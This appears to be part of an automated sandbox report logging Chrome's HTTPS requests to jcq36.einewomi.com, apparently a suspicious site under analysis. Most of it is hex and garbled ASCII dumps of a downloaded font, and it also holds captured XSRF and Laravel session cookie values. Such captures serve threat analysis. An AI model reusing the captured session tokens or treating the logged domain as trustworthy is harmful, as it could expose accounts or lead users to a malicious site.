2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 47 1b 83 d6 1d 0a bb f8 bd 53 7e b0 d2 33 cc ad 14 ca a7 ef 26 2e 68 63 28 fd ee 2c 8f cb c7 ca f9 05 8c b3 fd f4 30 a6 8e cd e7 5b 88 8d 84 be 17 05 8d eb ef 2c 7d d3 7a 07 77 e6 19 de 35 92 0f e8 68 6a aa c5 da 5c 69 91 ef 13 84 72 ba 37 6f 92 a5 f6 d4 e6 c1 50 06 d2 b8 aa 39 35 0e c2 c3 fe 1f 9e 81 2f 58 97 ce 0a a5 7e fa 95 31 f5 a5 92 cd fd 2c d9 bb c6 8a 04 f8 c5 78 82 e4 37 43 ca 41 41 03 ff 5a f5 31 ac 25 77 07 91 5f e3 b5 ed 5e 3a 5a b2 24 2b ad 26 89 f8 b6 a3 d0 8d d9 98 5e b6 6d be 80 da ed 7b e1 31 c7 4d 17 21 7b 15 a0 7b 13 e2 32 f3 a0 31 98 45 c8 38 02 6a e0 89 76 80 48 94 0a 99 65 f6 21 e8 7e 13 d1 ac 11 91 24 f6 1f ff 72 06 c6 c0 fa ed 9c 1c 7d f4 0c d2 d3 70 bc 97 db 6f b1 25 df 73 6b 4b 9b 6f 58 85 19 04 fb ee 8a f8 5e bf d7 b7 51 00 f1 Data Ascii: GS~3&.hc(,0[,}zw5hj\ir7oP95/X~1,x7CAAZ1%w_^:Z$+&^m{1M!{{21E8jvHe!~$r}po%skKoX^Q
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: d1 2a 3c c5 29 dc b0 47 5a 8a 78 46 4b fe aa b7 4d 24 82 c2 09 87 ae c8 e5 45 2a b0 d7 ae 6f cf e7 79 e7 9b b1 d9 4c 1c b9 4a d2 77 a3 73 e3 5b a9 4c 3a 76 21 51 f2 33 fe d3 5f 97 7d ba 78 66 9f 39 5d 44 43 91 3c 35 5a e2 ae c8 12 51 a3 6c 4d 73 39 be 28 87 c5 58 76 30 43 e9 59 4a 9f b0 0e 9a b6 47 8b 72 9f a4 d3 46 67 d4 5f 7b 40 09 a2 27 96 3b b3 ad 78 84 8f db a5 e7 10 69 69 cc 16 1d de f7 59 ab 07 ad ea fe 7a 65 af b7 9f 1c 2f a2 00 3c 2c 99 09 a3 2d c0 12 88 ef 6c 8b 0f 7d 82 cd f0 59 f6 06 d6 e2 ab 79 68 8d 96 ff ba 8c f1 23 0a 61 18 3e 44 cf e3 dc 86 fe 71 65 fa 14 ec 1a 7e fe c2 d2 34 d7 64 e3 f9 ac 98 ff 3a b4 82 89 8f 6e e2 7b 95 55 6b 5d 9c cb f6 08 a5 23 7f ed f7 4e 66 a8 e5 0a f9 d5 c5 a9 c7 23 63 4f 93 1d bf 47 04 43 fb 82 87 2a 48 c7 8f d1 Data Ascii: <)GZxFKM$EoyLJws[L:v!Q3_}xf9]DC<5ZQlMs9(Xv0CYJGrFg_{@';xiiYze/<,-l}Yyh#a>Dqe~4d:n{Uk]#Nf#cOGC*H
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 78 0f 00 bd 2d 72 af 05 3e e0 ad 7f fc 14 d6 7e 1e 32 d5 b8 a9 8a 0c df e0 90 13 22 bc e3 c0 30 f0 31 87 c9 39 9e 58 15 8d 56 1e 2c 9a 77 e0 97 0b 30 f9 f5 62 d1 e0 92 ed fb 49 fb fe c6 fe 57 30 b2 8f db 20 8b 61 4a 2d e4 7a 34 ab 52 6b b9 6d f4 2a e8 98 38 6c b4 89 50 a2 5e dd e2 18 60 65 e0 5b 2b 0c db 32 f5 e6 8c 9b 44 b1 01 c3 7a f9 3c 4a 34 5a 2a d8 12 fd 64 68 56 f2 a7 21 b0 35 ab 8e 01 28 01 07 37 51 8f 24 5d a6 06 85 36 66 45 10 02 b0 a4 4f ab 61 a9 9c 94 17 60 52 0a 48 26 1c bb 6c bc 25 43 03 26 98 5c 68 a1 c4 aa d1 e5 51 53 e9 e3 e2 54 49 24 4b bc e9 c5 14 60 b1 e2 45 40 08 29 22 b8 24 35 14 3a 75 20 9b b0 dd 0e 33 56 08 34 0b c9 ab 60 21 06 9f 15 10 0a 11 56 b6 61 9b a3 60 19 bd 82 2f ef c3 27 94 de ec ac 7c 55 54 c1 6a 83 d9 78 80 42 b4 21 58 Data Ascii: x-r>~2"019XV,w0bIW0 aJ-z4Rkm8lP^`e[+2Dz<J4ZdhV!5(7Q$]6fEOa`RH&l%C&\hQSTI$K`E@)"$5:u 3V4`!Va`/'\|UTjxB!X
2024-04-24 21:08:02 UTC	751	IN	Data Raw: 83 e8 f1 e4 0c 8e 2a da 54 a4 a3 b5 f7 b3 20 c0 09 ac f7 48 00 dc 32 ec 5a 89 2f 89 08 e6 4d 3c 89 bf 7a a1 c3 00 e6 66 d1 c6 c4 48 7c 02 4c 60 98 ee 7d 36 12 ab b1 0a ad e1 94 dd a2 36 3b e0 dd ab b2 ce 7b df 6e a3 d7 42 e5 ca cc 5a 87 ea 2d 05 82 7b 15 6d cb 8a ca 29 ac 88 17 b7 6e 19 a4 39 5b 41 e6 ac af e9 8e c8 ca da a9 4b 2a 17 78 d9 3a bd 21 ef d2 a2 15 f7 59 f1 9a b4 b7 bb 64 06 a2 1c 04 10 f9 c4 ed 1e bc 88 3c 6c 01 c0 95 74 f8 fc e4 1b c0 ca 03 3f 33 21 90 ed f6 5a 7f c0 c9 73 0b 8e 1f ad 3c 30 6a 93 cd ce 3c 80 b7 ac 0a e8 e8 e2 f5 85 3b e2 a3 bb 18 12 b8 ff d7 ff f9 04 e7 ff 97 30 bd 8c 36 64 28 f0 06 00 f0 f4 eb 01 e0 3a f0 a8 7c e2 2f 37 5c 00 8e a5 ab fe c8 4d 7e f8 24 cc da 65 7a 3b ea 60 78 86 ff b3 c6 4f 36 07 f0 1a 51 20 a0 99 2b b4 a0 Data Ascii: T H2Z/M<zfH\|L`}66;{nBZ-{m)n9[AKx:!Yd<lt?3!Zs<0j<;06d(:\|/7\M~$ez;`xO6Q +
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 7f a8 5d 3c fc e6 0b 52 65 a8 96 ad 58 0e 9c 5d eb b6 6c 47 61 61 c3 76 2e 25 66 40 87 ee 2b 77 72 0b b9 36 71 8f ab 5f 1d 5b f5 cc bb 91 f0 45 30 3e 81 94 2f a3 d2 8e 56 37 3a 3d a8 75 61 30 8d d1 0c 4e 07 58 6c 60 b7 83 db 11 56 9b 78 3d f6 4d 93 ef f2 ae 35 07 29 06 c0 76 69 21 92 12 8b a1 27 35 49 2b 44 12 93 cf 48 71 b0 40 ca 43 53 1d 9e ca b0 90 23 52 1b 9b e6 94 b4 a7 a7 35 4d 21 2e 87 4c c3 aa 9a 97 c9 d2 f4 17 66 95 1f bf 28 5e 61 c2 ca 24 35 89 ab 13 55 a5 5c 9f 62 5d f2 f6 6c 6f 17 b8 23 ef de 82 df 2a 60 7b 41 6f 16 f1 7e 31 ad 15 2b a1 9d 92 db 2f b1 dd 08 f8 24 f1 58 b6 cd cf a7 2f 72 be 06 8f cf 43 45 27 ad 4d b5 a1 b3 3a 34 5b ca 51 91 0f 59 c2 86 19 45 7e 58 f8 7b 3d fb a0 a4 f6 ba ef b4 4e 2f bc d4 55 5c 9b c5 b7 d5 1b ff 37 04 85 89 de Data Ascii: ]<ReX]lGaav.%f@+wr6q_[E0>/V7:=ua0NXl`Vx=M5)vi!'5I+DHq@CS#R5M!.Lf(^a$5U\b]lo#*`{Ao~1+/$X/rCE'M:4[QYE~X{=N/U\7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49765	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:01 UTC	1426	OUT	GET /ef8nL56d8pZlD34Xb3O9fQ6A4DEUrkl97 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://jcq36.einewomi.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:02 UTC	624	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:02 GMT Content-Type: font/woff2 Content-Length: 93276 Connection: close Content-Disposition: inline; filename="ef8nL56d8pZlD34Xb3O9fQ6A4DEUrkl97" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7W2TAqalCB0XtevLTs0UUJQbybQcj5wmGPfOSd%2BaGDvqNKZy5eBXbMCetfNAv3JdJXwr5wngJSSsECf60pHAlpA7q0p60fqDCOsDvh7wkbeO8qgTMTYJAWyDMUU3Wg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879910f9dbb42b88-LAX
2024-04-24 21:08:02 UTC	745	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 6c 5c 00 14 00 00 00 04 b2 20 00 01 6b e0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a a4 76 1b 83 bb 26 1c 93 24 3f 48 56 41 52 a0 6a 3f 4d 56 41 52 81 46 06 60 3f 53 54 41 54 81 36 27 38 00 91 18 2f 81 48 11 08 0a 81 f8 0c 81 d3 78 0b 89 1a 00 30 8b e7 3a 01 36 02 24 03 92 30 04 20 05 97 7a 07 a2 17 5b 12 9a 94 07 25 22 db df 13 ba a5 ab c1 a5 a2 a8 fe 21 df bb 49 da 54 19 b0 7f a9 77 90 21 63 9b 48 1d ce cd 74 1d 5d 6b a5 08 9e a7 0f c8 36 9d f1 82 43 79 c3 a8 7f 55 6c b7 72 65 ff ff ff ff ff ff 9b 92 49 8c e9 25 e8 25 f9 7f 00 15 44 45 b1 a0 ba ce 76 d3 69 ae 51 46 38 dc dd 84 83 d2 69 48 19 21 72 0a ca e2 f4 da d1 50 34 5a 5b b9 db ae 1d f6 5a 73 10 9e 89 b6 6f 06 0e 72 ef e2 38 62 1c 4f e8 Data Ascii: wOF2l\ kv&$?HVARj?MVARF`?STAT6'8/Hx0:6$0 z[%"!ITw!cHt]k6CyUlreI%%DEviQF8iH!rP4Z[Zsor8bO
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 3f f3 47 f2 33 13 26 d3 99 30 4c 26 e9 24 85 40 52 36 bb a5 e2 88 55 8c 15 6f 9d dd 3a ed 9a 53 a7 3d 0a d4 1c b3 db 62 55 0b a1 75 ca 5d 7a ac 57 38 5b 55 18 7c 37 fb 27 fe 25 e6 f2 75 2e 9c 88 31 31 8e 19 67 3c c6 ba 5e c7 a0 eb fa 4a c9 da 50 42 1b 4a 48 42 02 11 f0 6b fa b3 0f 0e 89 0a 91 8a 5d c4 80 28 24 a5 0d 44 ae 16 ab 53 22 75 be b7 ce 37 e2 fc ab 39 9f 38 15 a3 ee d4 9c 1a 55 a3 e6 37 13 d4 a6 ed 52 24 04 df 78 a9 f9 ac 67 d0 58 9b 7a 56 81 2c a8 24 a5 19 ab 89 79 c6 3a 8e 8d 8a 88 86 51 24 4f 4d c7 b1 f6 b7 9f 71 cc e7 20 a3 88 08 28 df 96 4f e5 14 c4 00 22 12 64 3c 07 6c c8 ed 39 a9 fd 7c 5e 42 08 72 b6 35 8f d0 c3 f3 a7 fd cc b9 79 69 bb 44 99 0f b9 5f 84 16 09 3c 50 9b f9 6f 92 11 08 a9 28 52 65 ab 49 eb 90 c9 96 9a 40 45 d9 7e f3 ca 54 fc Data Ascii: ?G3&0L&$@R6Uo:S=bUu]zW8[U\|7'%u.11g<^JPBJHBk]($DS"u798U7R$xgXzV,$y:Q$OMq (O"d<l9\|^Br5yiD_<Po(ReI@E~T
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 44 dd f4 16 cf 30 00 2b fb 79 0b 30 ab c4 72 0d 2d 40 8d fe 19 13 b5 2f 74 e2 3e 24 50 23 ab dc 2a 66 4d 64 c4 fc ff 2f 53 ab 6d 24 50 26 09 49 5d 09 75 9d 3e c1 ea 31 1f d2 98 cf 56 cd 54 a8 74 6a 7f 21 1b e3 9c 0f 44 44 22 1d 29 45 26 48 55 24 92 52 07 92 54 55 20 21 75 7d 24 c8 3a 01 40 86 24 32 00 8a cd 24 e5 2d 59 9e 72 a6 cc 4b 24 d5 13 80 aa 7a 82 60 1b 94 34 ce 2d 67 b1 1c ca 96 d5 9c 33 32 e3 a4 1a e3 36 db 24 c7 b1 8d db a9 6a 45 cd 8a 9a 55 8a e3 a8 9a fd 86 aa 55 d5 ac d4 1a bf 33 7e d7 67 f8 e7 6d 4f ce f6 e5 66 e3 7f 46 56 c8 0a 61 36 e5 a3 4e 26 1e 46 a2 08 72 83 40 08 87 47 e1 7f 99 5a a6 68 7c 99 6e 6c d2 0f 2b 33 dc e8 4e 91 71 44 5d 90 6c 29 8d ba 7f af 41 f7 5b 43 0e ce 0d 46 16 90 e1 0e ce 11 23 c7 5d f9 38 5a 60 ce 53 96 94 35 99 94 Data Ascii: D0+y0r-@/t>$P#*fMd/Sm$P&I]u>1VTtj!DD")E&HU$RTU !u}$:@$2$-YrK$z`4-g326$jEUU3~gmOfFVa6N&Fr@GZh\|nl+3NqD]l)A[CF#]8Z`S5
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 7e 3f b8 60 01 41 a5 a2 9d 5f aa aa 92 e7 97 9e 00 03 7a 83 f2 df f4 f1 96 7c fe b4 e4 ea d5 9a f9 6c b0 ba 4a 10 6f b7 59 2c ed 74 74 e4 f7 a7 d3 2b 96 40 40 51 66 f5 e7 a0 33 8f 73 f2 d6 c3 e5 9d c3 71 fc 46 72 66 3c 24 2e ce 60 06 3a c8 29 d6 a8 8f 62 ff a8 a5 b5 cd eb 44 76 4b 25 94 fc d0 62 76 e3 42 5d fd 97 64 4c 8b a5 52 6f f8 db 8f 00 94 fc c8 46 5c bd 1c c3 40 2b d1 7a 43 c4 ad 17 b2 b7 ee 9b 4d 09 0d f9 6d 07 99 10 1d 47 e6 96 3a 20 3d bc 3a 0d 3e bf 95 84 ea 25 93 ae 69 08 6c df 80 35 2a 08 70 c7 de 92 9c 79 e0 1a 17 e6 d0 2b 30 1e 2f 83 0e c7 e9 73 30 77 e7 e6 02 22 bb d8 06 99 5b ee 22 53 80 20 c8 6e 2c 06 05 26 12 28 14 52 ba 16 12 3d a2 47 3f 10 f5 06 a5 24 4d 82 75 e6 ad 90 27 62 69 e9 36 4c 84 88 93 25 f6 f6 23 80 28 d3 c5 48 e9 2c 0d 8c Data Ascii: ~?`A_z\|lJoY,tt+@@Qf3sqFrf<$.`:)bDvK%bvB]dLRoF\@+zCMmG: =:>%il5*py+0/s0w"["S n,&(R=G?$Mu'bi6L%#(H,
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: cf 99 1f a7 dd 6e 68 53 44 dd 65 65 89 d1 c0 a3 92 64 cc 31 18 63 26 13 31 4e cf 58 79 53 b2 2e db 9a 28 b6 9b 3c a6 00 5c 5e 11 8b 83 4b be 05 32 16 f2 27 f7 9c df b0 9c 1c 87 3a fa 62 03 4e 5f dc 30 32 d9 0e 2d 29 bb 39 86 5a ea 25 1c f9 80 80 d3 b0 59 47 03 e1 38 0e 99 e4 42 e4 67 ce e4 d4 da 88 c7 03 50 4c 29 22 8c 02 70 3a 8b 8a 3b 0f 04 48 26 b5 d1 e4 52 e7 01 3b 4a af d0 d3 a7 68 fe d1 72 c3 4a 60 ba 24 bf 8f 51 eb 11 25 b1 c6 4b 41 a6 d8 73 32 1b 16 4b c4 62 8e e3 36 ec 6e b3 cd 37 b4 0e 4b 95 68 ab 33 1a 0d ac 6a 2b cd a4 45 22 f2 62 82 62 42 1d c3 cc f9 59 5f 50 eb 07 b4 8a da 4d aa 17 47 d3 fa a5 80 8d 11 25 a5 a5 8e 5b 88 5c b9 82 21 5e 88 6c 18 63 03 d6 93 18 f3 cb 40 59 d9 d2 20 37 88 18 e8 62 0c ab b3 f8 99 33 4f d5 ea e1 30 92 c8 8c dd 3e Data Ascii: nhSDeed1c&1NXyS.(<\^K2':bN_02-)9Z%YG8BgPL)"p:;H&R;JhrJ`$Q%KAs2Kb6n7Kh3j+E"bbBY_PMG%[\!^lc@Y 7b3O0>
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 51 70 75 a8 cf 20 94 27 85 0a 16 c2 d5 50 55 97 db 1a cc e4 ea f8 bf 7f 82 9d cf b0 bf bf a8 d2 cf 05 72 5b e8 50 23 0f 23 4b 61 90 94 da f0 4d c9 51 9e 26 0a ec ec ab 69 b4 bd c3 2f 0a f0 74 03 f6 16 2e 59 39 12 0b bc 0c 0d 75 a9 8f 01 48 d7 04 85 96 d2 ab 02 9b de 6d db bd 90 bc 86 ef 83 5a 63 5b 32 e2 71 f8 6e c1 87 75 a9 ee 4c f7 99 27 02 3c 78 27 d8 98 de f7 56 7f 6e f1 fc aa 81 eb 24 c5 fb 60 e0 b0 f2 f0 af dd 25 60 5f 6c d7 6b c0 60 ea 09 fc a1 7e ef 21 d2 65 be 87 84 64 f1 c8 69 fa 9c 49 2f cf 79 79 88 42 e1 4d be 7d 02 60 bf 63 b8 ea ea 63 24 2b 5c 48 cf ca 79 d8 58 89 bd 6f 81 38 cf 87 07 47 13 25 b0 2d d0 2c 71 94 b6 07 95 04 aa e5 65 bc fd e1 eb 93 81 1b a5 d7 ee 19 35 2a 5a aa 17 d4 e1 0e 65 4b 21 2d a7 bf d7 25 e2 9e 22 d1 b9 d0 54 73 be 85 Data Ascii: Qpu 'PUr[P##KaMQ&i/t.Y9uHmZc[2qnuL'<x'Vn$`%`_lk`~!ediI/yyBM}`cc$+\HyXo8G%-,qe5*ZeK!-%"Ts
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 3c b7 b7 76 cf d3 be da d0 82 50 1b dc 81 52 9f 2b 78 b5 85 1a db 2f 23 11 ee 7e 0f 9c d7 f5 b8 cb 06 d1 4f 79 55 8a 13 9b 6a a8 95 46 95 37 af 7b 7d 90 cb 24 1d 9e 26 31 5b 76 a7 8e 76 62 74 7b e0 dc a7 f1 6e 9f 45 d5 21 b2 23 85 2c cb e7 31 09 a3 7a 4c d0 45 20 b1 44 fe 05 66 c7 02 03 dc df d5 bb 25 f4 ec 02 f0 c1 23 0b fa 7f ae 9b 73 07 7b 16 f5 36 ec ec 00 db ec 7f d4 4b 78 3e 73 73 9f 0a ae ec e5 80 c4 cf 0a 3d 62 99 08 c1 b2 7d c7 70 b5 8c c7 69 52 40 79 3c 9f b9 99 d4 52 6e df 0a 35 b9 f0 ac 83 b5 6c 74 9e b8 70 fd 1d b6 ee 75 41 04 b5 ad 5c 10 e6 ad df 53 fe 59 1e 0a 54 02 09 f8 5e ab e5 8c c5 72 4c 47 c6 3b 62 55 95 51 f0 eb 4f 75 3e 57 a6 36 98 bc fe b1 bc ff 61 18 a2 79 e6 01 b9 02 66 9e 81 b8 b7 6b 51 78 30 95 72 f9 41 95 4f 4c 24 d3 ec b1 86 Data Ascii: <vPR+x/#~OyUjF7{}$&1[vvbt{nE!#,1zLE Df%#s{6Kx>ss=b}piR@y<Rn5ltpuA\SYT^rLG;bUQOu>W6ayfkQx0rAOL$
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 1e a2 6d 55 84 60 bb 94 83 f1 a5 aa 10 eb 80 6a 04 ba dd 16 24 bb cb 76 94 bb db 0e 54 fa b4 dd 28 f7 19 9d a8 f4 59 7b 91 ec f3 f6 a1 d0 17 ec 47 b1 2f ea 42 a1 2f 39 80 62 df 74 12 bc df 77 06 bc 3f 73 01 b9 7e ee 71 e4 fb bb 2d ec ef 7f d2 19 f5 41 7b 18 ef 31 87 58 ef 21 27 d1 79 d4 69 74 9e 74 8d 23 23 9b 2c 50 b6 a6 80 27 3b 52 c2 93 d9 40 c0 e7 aa a0 90 01 f3 29 68 ec d8 71 e2 04 83 80 00 e3 c2 05 82 1b 37 71 1e 3c 50 15 2c 96 c1 03 90 05 75 49 6e 2d 19 e1 95 12 4e d0 eb 09 a1 25 6a 42 ad 00 59 26 63 cf 71 3e 9d 2c 30 95 67 c9 12 c6 10 a1 01 97 41 48 16 7e 72 c0 e5 e1 a3 00 5c 91 be b5 13 b4 60 8d 50 60 16 62 8c 23 2c 93 87 41 a6 b8 c0 32 1b d9 cc f1 84 5d ca eb c5 8d 70 d0 ac bc 4b 85 93 72 39 40 ae f8 bc 94 2b 97 55 20 79 76 b5 92 56 dc f5 a9 54 Data Ascii: mU`j$vT(Y{G/B/9btw?s~q-A{1X!'yitt##,P';R@)hq7q<P,uIn-N%jBY&cq>,0gAH~r\`P`b#,A2]pKr9@+U yvVT
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 75 3c 04 9b 2b 02 72 61 45 50 0c 27 48 8a 66 58 8e 17 c4 72 ff 0a aa a6 1b a6 65 03 00 88 b0 24 13 ca b8 50 54 ad 3e b1 db 03 04 84 eb 88 80 62 38 41 52 34 c3 72 bc 20 96 b6 51 46 51 6b 9b a9 63 98 56 a3 e2 13 15 c2 04 21 e9 30 60 05 83 86 c4 8f e9 a0 a9 ff f0 17 a0 b7 17 e7 07 65 da fd 98 7e d8 04 c0 0d b5 75 78 ca 39 2a af 15 ac 6d 98 37 9c 46 60 a4 51 46 1b 63 ac 64 29 52 a5 49 97 21 53 56 45 1d 2a 36 25 95 a2 4c b9 8a 2a 47 ac 4a 54 ab 51 5b dd e8 d5 a3 41 e3 73 28 bc 75 10 b4 db 41 a5 28 53 8e 1e d2 f3 3a cc bc 1d 7c fc 10 25 da bd f2 fc a6 e8 16 82 4b 39 b0 71 4d 28 28 c1 54 d4 34 0d d5 a6 e7 9b d7 02 78 db f5 6f 2c 5c 2e 36 76 cf fe a6 f4 a5 10 31 09 09 d0 9e 36 f0 1f 3e 12 3b 49 4b 4b 4b 4b 4b bf cf 6e e5 eb f8 ee 58 bb 05 4a 4b 4b ff df d2 e0 8e Data Ascii: u<+raEP'HfXre$PT>b8AR4r QFQkcV!0`e~ux9m7F`QFcd)RI!SVE6%L*GJTQ[As(uA(S:\|%K9qM((T4xo,\.6v16>;IKKKKKnXJKK
2024-04-24 21:08:02 UTC	1369	IN	Data Raw: 22 92 13 20 64 14 59 b2 e5 a0 3a 99 67 82 e6 ee 72 cf 1d 66 c7 a3 2c 1a da 79 0f 13 14 29 92 e2 71 c9 44 e4 e7 84 a0 c2 9f f7 0e ba a8 11 61 68 5f fa 1d ff f6 b8 d7 09 45 9d f7 18 61 a2 cf d1 a7 76 8f 13 7e b0 51 c5 d3 5b 09 40 57 2c 6f 6b b6 61 22 ea 37 fd 68 16 80 a1 c0 35 c2 0c d2 3a 85 ef 21 50 78 14 9f 15 27 6e bd a6 4d 6a 70 82 bc 56 5c ed c3 07 4f fc db 7e b8 f3 ce 26 a0 dc bc 05 0a 43 71 81 c0 11 41 31 9c 20 29 9a 61 39 5e 10 3b a3 77 e9 b5 a7 54 3d eb 39 f8 84 11 13 21 91 29 54 1a 9d c1 64 b1 39 5c 5e fe 82 0a 00 c0 d0 b2 c2 20 28 56 b8 c4 22 c4 92 8f 4b c4 db e9 d5 16 77 f3 73 34 90 cb 61 6b a5 67 b8 d1 63 dc 12 db 49 a1 78 8f 3a 70 56 78 9c f7 22 15 6d 55 d4 d2 cd 70 8f 4e b6 dd 48 9f a8 82 3e b4 c1 8c 26 b3 25 20 c1 88 90 c0 08 8a e1 04 49 d1 Data Ascii: " dY:grf,y)qDah_Eav~Q[@W,oka"7h5:!Px'nMjpV\O~&CqA1 )a9^;wT=9!)Td9\^ (V"Kws4akgcIx:pVx"mUpNH>&% I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49766	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:01 UTC	1400	OUT	GET /34U7ffLhOWdVCsyO1MklEh7jAJLCHRKI089103 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:02 UTC	658	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:02 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="34U7ffLhOWdVCsyO1MklEh7jAJLCHRKI089103" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vQf1BYnm%2FPu3%2Bv%2BfQSi3shWJsbWp6ZgSRW3we76IA7d06mStEuoPYzUQhHkZ%2FII%2FRcSZ9tAgqbbAaHunk101FLT5GVWfUj9ny%2FbvI3352zTDRY%2BEQISpGAEqmxXAyw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879910f9eb8169ac-LAX
